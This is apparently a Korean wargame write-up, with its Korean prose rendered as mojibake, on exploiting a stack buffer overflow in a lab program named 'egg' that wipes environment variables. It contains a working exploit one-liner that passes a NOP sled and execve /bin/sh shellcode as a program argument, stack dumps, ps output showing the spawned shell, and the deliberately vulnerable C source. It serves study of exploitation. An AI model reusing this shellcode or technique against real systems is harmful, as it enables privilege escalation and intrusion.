7f ................ ps --> ¾ßÈ£!!! ¼º°øÀÌ´å... PID TTY TIME CMD 25440 pts/18 00:00:00 bash 479 pts/18 00:00:00 egg --> Egg Shell ProgramÀÌ ½ÇÇàµÇ¾î ÀÖ½À´Ï´Ù. 480 pts/18 00:00:00 bash 647 pts/18 00:00:00 bash 648 pts/18 00:00:00 sh --> Argument·Î ÀÔ·ÂÇÑ /bin/sh°¡ ½ÇÇàµÊ. 650 pts/18 00:00:00 cat 653 pts/18 00:00:00 ps exit [null2root@Hacker NaNu9]$ ÀÌ»óÀÌ Egg ShellÇÁ·Î±×·¥À» ½ÇÇàÇÑ »óÅ¿¡¼­ ½ÇÁ¦ ÇÁ·Î±×·¥ Egg Hunter°¡ µ¿ÀÛÇϸ鼭 Ãâ·ÂÇÑ ³»¿ëÀÔ´Ï´Ù. À̰ÍÀ» ºÐ¼®Çغ¸°Ú½À´Ï´Ù. º¯¼ö¸í Å©±â Ȱ´çµÈ ÁÖ¼Ò µ¿À۽à ³»¿ë over 4 Byte 0x7ffff96c Á÷Á¢ ÀÔ·ÂÇÑ µ¥ÀÌŸ(0x7ffffb1c) *jmp 4 Byte 0x7ffff970 Á÷Á¢ ÀÔ·ÂÇÑ µ¥ÀÌŸ(0x7ffff97c) egghunter 4 Byte 0x7ffff974 00 00 00 00 ebp 4 Byte 0x7ffff978 98 f9 ff 7f --> º¯°æ ¾ø½¿ RET 4 Byte 0x7ffff97c 13 d2 ad 2a --> 1c fb ff 7f ÀÌÈÄÀÇ ³»¿ë¿¡ ´ëÇØ¼­´Â Àß ¸ð¸¨´Ï´Ù¸¸ ÀÌ ÇÁ·Î±×·¥¿¡¼­ µ¿ÀÛÇÑ ³»¿ëÀ» ´ëºÎºÐ Ç¥½ÃÇØ³õ¾Ò½À´Ï´Ù. Âü°í·Î Çѹø º¸½Ã±â ¹Ù¶ø´Ï´Ù. 0x7ffffaac 00 00 00 00 00 00 00 00 00 00 00 00 69 36 38 36 ............i686 0x7ffffabc 00 2e 2f 62 63 00 90 90 90 90 90 90 90 90 90 90 ../bc........... À̰÷ÀÌ »ç¿ëÀÚ ¸í·ÉÀÌ ÀÔ·ÂµÈ °÷ÀÔ´Ï´Ù. ./bc ÀÌÈĺÎÅÍ /bin/sh±îÁö°¡ Argument ºÎºÐÀÔ´Ï´Ù. ±×¸®°í ¾Æ·¡ÀÇ /bin/sh 00 ÀÌÈÄÀÇ 0x00À¸·Î Áö¿öÁø ºÎºÐÀÌ È¯°æº¯¼ö°¡ ÀÖ´ø°÷ ÀÔ´Ï´Ù. 0x7ffffbac 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 ..@......./bin/s 0x7ffffbbc 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 h............... ½ÇÁ¦ ÇÁ·Î±×·¥À» ½ÇÇàÇØ º¸¸é ´õ ¸¹Àº Ãâ·ÂÀÌ ÀÖ½À´Ï´Ù¸¸ °°Àº ³»¿ëÀÌ¶ó¼­ »èÁ¦Çß½À´Ï´Ù.. 5. ÇÁ·Î±×·¥ÀÇ ½ÇÇà½Ã Argument·Î Á÷Á¢ Egg Shell Code¸¦ ³Ö¾îÁÖ´Â ¹æ¹ýÀÔ´Ï´Ù. ÀÌ ¹æ¹ýÀº °Ô½ÃÆÇÀÇ ±ÛÀ» Âü°í·Î ÇÏ¿© ½ÇÇà½ÃÄѺ» ³»¿ëÀÔ´Ï´Ù. [null2root@Hacker NaNu9]$ (printf "\x1c\xfc\xff\x7f\x5c\xfa\xff\x7f";cat)|(pe rl -e 'system "./bc","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x 90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x 90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9 0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x 0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd c\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"') ´ÙÀ½Àº ½ÇÇàÇÑ °á°ú ÀÔ´Ï´Ù. over:0x7ffffa4c, ebp:0x7ffffa58, RET:0x7ffffa5c --> RET ¹øÁö Âü°í Hi, input everything....but only 4bytes : ==> RET ¹øÁö°¡ ¹Ù²î±â ÀüÀÇ ¸Þ¸ð¸® »óÅ ÀÔ´Ï´Ù. 0x7ffffa3c 58 fa ff 7f 6e 88 04 08 3c fa ff 7f 00 04 00 00 X...n...<....... 0x7ffffa4c 1c fc ff 7f 5c fa ff 7f 00 00 00 00 78 fa ff 7f ....\.......x... 0x7ffffa5c 13 d2 ad 2a 02 00 00 00 a4 fa ff 7f b0 fa ff 7f ...*............ 0x7ffffa6c 24 e9 ab 2a 02 00 00 00 20 85 04 08 00 00 00 00 $..*.... ....... 0x7ffffa7c 41 85 04 08 b4 87 04 08 02 00 00 00 a4 fa ff 7f A............... 0x7ffffa8c 38 84 04 08 cc 88 04 08 f0 5a ab 2a 9c fa ff 7f 8........Z.*.... 0x7ffffa9c 70 ef ab 2a 02 00 00 00 9e fb ff 7f a3 fb ff 7f p..*............ 0x7ffffaac 00 00 00 00 a3 fc ff 7f bc fc ff 7f ca fc ff 7f ................ 0x7ffffabc e0 fc ff 7f ee fc ff 7f 00 fd ff 7f 17 fd ff 7f ................ 0x7ffffacc 32 fd ff 7f 3c fd ff 7f 4a fd ff 7f 89 fd ff 7f 2...<...J....... 0x7ffffadc 99 fd ff 7f aa fd ff 7f bf fd ff 7f cf fd ff 7f ................ 0x7ffffaec e1 fd ff 7f ec fd ff 7f f4 fd ff 7f 01 fe ff 7f ................ 0x7ffffafc 09 fe ff 7f e7 ff ff 7f 00 00 00 00 03 00 00 00 ................ 0x7ffffb0c 34 80 04 08 04 00 00 00 20 00 00 00 05 00 00 00 4....... ....... 0x7ffffb1c 06 00 00 00 06 00 00 00 00 10 00 00 07 00 00 00 ................ 0x7ffffb2c 00 b0 aa 2a 08 00 00 00 00 00 00 00 09 00 00 00 ...*............ 0x7ffffb3c 20 85 04 08 0b 00 00 00 1d 0c 00 00 0c 00 00 00 ............... 0x7ffffb4c 1d 0c 00 00 0d 00 00 00 1d 0c 00 00 0e 00 00 00 ................ 0x7ffffb5c 1d 0c 00 00 10 00 00 00 ff f9 c7 c1 0f 00 00 00 ................ 0x7ffffb6c 99 fb ff 7f 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffb7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x7ffffb8c 00 00 00 00 00 00 00 00 00 00 00 00 00 69 36 38 .............i68 0x7ffffb9c 36 00 2e 2f 62 63 00 90 90 90 90 90 90 90 90 90 6../bc.......... 0x7ffffbac 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffbbc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffbcc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffbdc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffbec 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffbfc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc0c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc1c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc2c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc3c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc4c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc5c 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................ 0x7ffffc6c 90 90 90 90 90 90 90 90 90 eb 1f 5e 89 76 08 31 ...........^.v.1 0x7ffffc7c c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 ..F..F......N..V 0x7ffffc8c 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f ...1...@......./ 0x7ffffc9c 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00 00 bin/sh.......... 0x7ffffcac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ < 0x00À¸·Î »èÁ¦Çß½À´Ï´Ù.> your input-value : ?|? --> ÀÔ·Â È®Àοë Ç¥½Ã RET ¹øÁö°¡ ¹Ù²ï»óÅÂÀÇ ¸Þ¸ð¸® ³»¿ë ÀÔ´Ï´Ù. 0x7ffffa3c 58 fa ff 7f 94 88 04 08 3c fa ff 7f 80 00 00 00 X.......<....... 0x7ffffa4c 1c fc ff 7f 5c fa ff 7f 00 00 00 00 78 fa ff 7f ....\.......x... 0x7ffffa5c 1c fc ff 7f 02 00 00 00 a4 fa ff 7f b0 fa ff 7f ................ 0x7ffffa6c 24 e9 ab 2a 02 00 00 00 20 85 04 08 00 00 00 00 $..*.... ....... 0x7ffffa7c 41 85 04 08 b4 87 04 08 02 00 00 00 a4 fa ff 7f A............... 0x7ffffa8c 38 84 04 08 cc 88 04 08 f0 5a ab 2a 9c fa ff 7f 8........Z.*.... 0x7ffffa9c 70 ef ab 2a 02 00 00 00 9e fb ff 7f a3 fb ff 7f p..*............ 0x7ffffaac 00 00 00 00 a3 fc ff 7f bc fc ff 7f ca fc ff 7f ................ ps --> À½.. ¿ª½Ã µÇ´Â±¸¸Õ... PID TTY TIME CMD 25440 pts/18 00:00:00 bash 29929 pts/18 00:00:00 bash 29930 pts/18 00:00:00 perl --> perl ÇÁ·Î±×·¥ÀÌ µ¿À۵Ǿî ÀÖÀ½. 29932 pts/18 00:00:00 cat 29933 pts/18 00:00:00 sh --> Argument·Î ÀÔ·ÂÇÑ /bin/shÀÌ ½ÇÇàµÊ. 29939 pts/18 00:00:00 ps exit [null2root@Hacker NaNu9]$ ÀÌ»óÀÌ ÇÁ·Î±×·¥ÀÇ ½ÇÇà½Ã Argument·Î Á÷Á¢ Egg Shell Code¸¦ ³Ö¾îÁÖ´Â ¹æ¹ýÀ» ½ÇÇàÇÑ »óÅ¿¡¼­ ½ÇÁ¦ ÇÁ·Î±×·¥ Egg Hunter°¡ µ¿ÀÛÇϸ鼭 Ãâ·ÂÇÑ ³»¿ëÀÔ´Ï´Ù. 4.ÀÇ ³»¿ë°ú µ¿ÀÛÀº °ÅÀÇ ºñ½ÁÇѵí ÇÕ´Ï´Ù. 6. Á¤¸®¸¦ ÇØº¸°Ú½À´Ï´Ù. °¡Àå Å« °á½ÇÀº ¿ª½Ã Egg ShellÀ» »ç¿ëÇÏÁö ¾Ê°í Argument¸¦ »ç¿ëÇÏ´Â ¹æ¹ýÀÔ´Ï´Ù. ÀÌ Argument´Â Egg Hunter°¡ »ç¿ëÀ» ÇϵçÁö ¾ÊµçÁö ±×°ÍÀº »ó°üÀÌ ¾ø½À´Ï´Ù. /bin/bash°¡ ¸¸µé¾î ÁÖ´Â °÷À̱⠶§¹®ÀÔ´Ï´Ù. ±×·¯¹Ç·Î À̰÷¿¡ ¹«ÇÑ(???)ÇÑ Egg Shell Code¸¦ ³ÖÀ»¼ö ÀÖÁö ¾ÊÀ»±î ÇÕ´Ï´Ù. µÑ°´Â ÇÁ·Î±×·¥ÀÌ µ¿ÀÛÇÏ´Â »óŸ¦ º¸´Ù ±íÀÌ ¾Ë¼öÀÖ¾ú´Ù´Â °ÍÀÔ´Ï´Ù. STACK ¿µ¿ªÀ» °ÅÀÇ ÀüºÎ Dump ½ÃÄѺ¸¹Ç·Î½á ÀßÀº ¸ô¶óµµ ´ëÃæÀÇ È帧Àº ÆÄ¾ÇÀÌ µÇ´Â°Í °°½À´Ï´Ù. À̺κп¡ ´ëÇÏ¿© Á»´õ ºÐ¼®µÈ ±ÛÀ̳ª ÀÚ·á°¡ ÀÖÀ¸¸é ´ñ±ÛÀ» ºÎŹÇÕ´Ï´Ù. ÁÁÀº ¹®Á¦¿Í ÈùÆ®¸¦ Áֽźе鿡°Ô °¨»ç¸¦ µå¸³´Ï´Ù. ±×¸®°í À߸øµÈ ºÎºÐÀ̳ª ´Ù¸¥ ¹æ¹ýÀ» ¹ß°ßÇÏ½Ã¸é ±ÛÀ» ¿Ã·ÁÁֽñ⠹ٶø´Ï´Ù. Áï½Ã °ËÅä ¼öÁ¤À» Çϵµ·Ï ÇϰڽÀ´Ï´Ù. ±×¸®°í dumpcode.h´Â ´Ù¸¥ºÐÀÌ ¸¸µç°ÍÀ» »ç¿ëÇß½À´Ï´Ù. ³¯µµ ´õ¿îµ¥ ±ä±Û ÀоîÁ༭ °¨»çÇÕ´Ï´Ù. NaNu9 /|/4/|/|_|IX #include #include "dumpcode.h" extern char **environ; // ȯ°æº¯¼ö¸¦ °¡¸£Å°´Â Æ÷ÀÎÅÍ º¯¼ö unsigned long get_esp(void) { __asm__("movl %esp, %eax"); } // ÇöÀç Stack-Pointer ÀÇ ³»¿ëÀ» ¸ðµÎ °¡Á®¿È main() { int egghunter; // ȯ°æº¯¼ö¸¦ Áö¿ì±â À§ÇÑ Ä«¿îÆ® char *jmp; // overÀÇ ³»¿ëÀ» ½á³ÖÀ» Æ÷ÀÎÆ® char over[4]; // ÀÔ·ÂÇÑ ³»¿ëÀÌ ÀúÀåµÇ´Â °÷ printf("over : 0x%08x, ebp : 0x%08x, RET : 0x%08x \n", &over, over+12, over+16); // gccÀÇ ¹öÁ¯¿¡ µû¶ó¼­ ebp¿Í ret°ªÀÌ Æ²¸®¼ö ÀÖÀ¸´Ï±ñ ÄÄÆÈÇϰí È®Àοä printf("\n\n StackÀÇ ³»¿ë \n\n"); dumpcode((char *)over-16, 128); // StackÀÇ ³»¿ë printf("\n\n\n ȯ°æº¯¼ö¸¦ »èÁ¦Çϱâ ÀüÀÇ ³»¿ë \n\n"); dumpcode((char *)&**environ, 1024); // ȯ°æº¯¼ö Áö¿ì±â ÀüÀÇ ³»¿ë for (egghunter=0; environ[egghunter]; egghunter++) { memset(environ[egghunter], 0, strlen(environ[egghunter])); } printf("\n\n\n ȯ°æº¯¼ö°¡ ´Ù ³¯¶ó°¡¾²±î¿ä? \n\n"); dumpcode((char *)&**environ, 64); // ȯ°æº¯¼ö ¿µ¿ªÀÌ Áö¿öÁ³´ÂÁö È®ÀÎ setuid(999, 999); printf("HI, Input everything... but only 4bytez : \n"); printf("====> "); fgets(over, 9, stdin); printf("\n\n\n Stack All Area Dump!!!! \n\n"); egghunter = get_esp() & 0xfffffffc; // ÇöÀç ½ºÅÃÆ÷ÀÎÅÍÀÇ ³»¿ëÀ» °¡Á®¿È dumpcode((char *)over-16, (egghunter|0xffff)-egghunter); // ½ºÅÃÀÇ Å©±â : 0xbfffffff·Î ½ºÅÃÀÇ ¸Ç ³¡ºÎºÐÀ» °¡¸£Å´ // ÇöÀç»ç¿ëÁßÀÎ ½ºÅÃÅ©±â : 0xbfffffff - ÇöÀç ½ºÅà Æ÷ÀÎÅÍ °ª dumpcode((char *)over-16, 768); printf("\n"); printf("you input-value : %s\n", over); strncpy(jmp, over, 4); printf("\n\n\n RET address true change? ¿ÏÁ¸ Äá±Û¸®½¬ ÇÏÇÏ~\n\n"); dumpcode((char *)over-16, 128); // RET ¹øÁö°¡ Á¤¸»·Î ¹Ù²î¾ú³ª º¸ÀÚ }